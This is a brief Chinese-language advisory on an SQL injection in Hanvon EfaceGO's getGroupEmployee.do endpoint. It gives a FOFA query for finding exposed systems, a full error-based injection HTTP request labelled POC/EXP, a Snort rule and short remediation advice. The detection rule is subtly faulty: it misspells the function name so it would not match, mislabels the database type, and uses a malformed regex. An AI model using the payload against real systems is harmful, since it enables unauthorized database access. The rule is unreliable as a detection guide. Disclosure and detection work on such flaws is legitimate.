

汉王EfaceGO-getGroupEmployee-sql注入

汉王EfaceGO-getGroupEmployee-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

汉王EfaceGO

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="1380907357"

POC/EXP:

```
GET /manage/authMultiplePeople/getGroupEmployee.do?
recoToken=67mds2pxXQb&groupId=1&page=1&pageSize=10&order=
(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+
(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/86.0.4240.198 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=5C70A4B7AA024130B70D90E447B2C7D9
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Hanvon eFace - Oracle Error-Based SQLi in getGroupEmployee.do";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/manage/authMultiplePeople/getGroupEmployee.do"; http_uri;
  content:"order="; http_uri;
  pcre:"/order=[^&]*UPDATERXML\([^&]*\)*CONCAT\([^&]*\)*SELECT\([^&]*\)*ELT\([^&]*\)*";
  metadata:service http;
  metadata:affected_product "汉王e脸通综合管理平台";
  metadata:vulnerability_type "Oracle Error-Based SQL Injection";
  classtype:sql-injection;
  sid:1000244;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。